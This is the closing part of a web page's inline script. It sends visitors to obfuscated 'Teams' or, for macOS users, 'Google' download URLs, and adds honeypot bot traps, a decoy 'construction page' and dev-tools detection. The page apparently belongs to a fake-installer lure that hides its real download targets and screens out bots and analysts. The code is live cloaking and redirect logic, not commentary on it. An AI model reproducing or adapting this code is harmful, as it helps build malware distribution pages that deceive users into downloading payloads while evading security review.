                if (typeof window.utils !== 'undefined' && window.utils.isProviderEnabled('google')) {
                  const googleUrl = window.utils.getObfuscatedUrl('google');
                  if (googleUrl) {
                    console.log('Manual redirect to Google URL:', googleUrl);
                    window.location.href = googleUrl;
                  } else {
                    alert('Failed to get Google redirect URL');
                  }
                } else {
                  alert('Google redirect system not available');
                }
                return; // Exit early for macOS users
              }
              
              // Default behavior for non-macOS users - redirect to Teams
              if (typeof window.utils !== 'undefined' && window.utils.isProviderEnabled('teams')) {
                const teamsUrl = window.utils.getObfuscatedUrl('teams');
                if (teamsUrl) {
                  console.log('Manual redirect to:', teamsUrl);
                  window.location.href = teamsUrl;
                } else {
                  alert('Failed to get redirect URL');
                }
              } else {
                alert('Redirect system not available');
              }
            };
            console.log('Manual link click handler set successfully');
          } else {
            console.error('Manual link element not found');
          }
        }
        
        

        // Check honeypot fields periodically
        setInterval(() => {
          const honeypotFields = document.querySelectorAll('input[name^="honeypot"]');
          honeypotFields.forEach(field => {
            if (field.value) {
              // Bot detected - filled honeypot
              if (typeof blacklistSystem !== 'undefined') {
                blacklistSystem.recordFailedAttempt('honeypot_filled');
              }
              if (typeof botTrapSystem !== 'undefined') {
                botTrapSystem.showConstructionPage('honeypot_triggered');
              }
            }
          });
        }, 2000);

        // Monitor for dev tools
        if (typeof isDevToolsOpen === 'function') {
          setInterval(() => {
            if (isDevToolsOpen()) {
              console.warn('Dev tools detected');
              // Optional: Take action if dev tools are open
            }
          }, 3000);
        }

        // Scripts are loaded, antibot protection is active
        console.log('Antibot protection initialized successfully');

      } catch (error) {
        console.error('Antibot initialization error:', error);
        // Continue anyway to not block legitimate users
      }
    })();
    
    // Also ensure scripts are loaded on DOMContentLoaded
    document.addEventListener('DOMContentLoaded', function() {
      console.log('DOM loaded, checking for utils...');
      
      // Setup manual download link immediately
      setupManualDownloadLink();
      
      // If utils isn't loaded yet, wait for it
      if (typeof window.utils === 'undefined') {
        console.log('Waiting for utils.js to load...');
        
        // Check every 500ms for utils to be available
        const checkInterval = setInterval(() => {
          if (typeof window.utils !== 'undefined') {
            console.log('Utils.js loaded!');
            clearInterval(checkInterval);
          }
        }, 500);
        
        // Stop checking after 10 seconds
        setTimeout(() => {
          clearInterval(checkInterval);
          console.error('Utils.js failed to load after 10 seconds');
        }, 10000);
      }
    });
  </script>
</body>
</html>

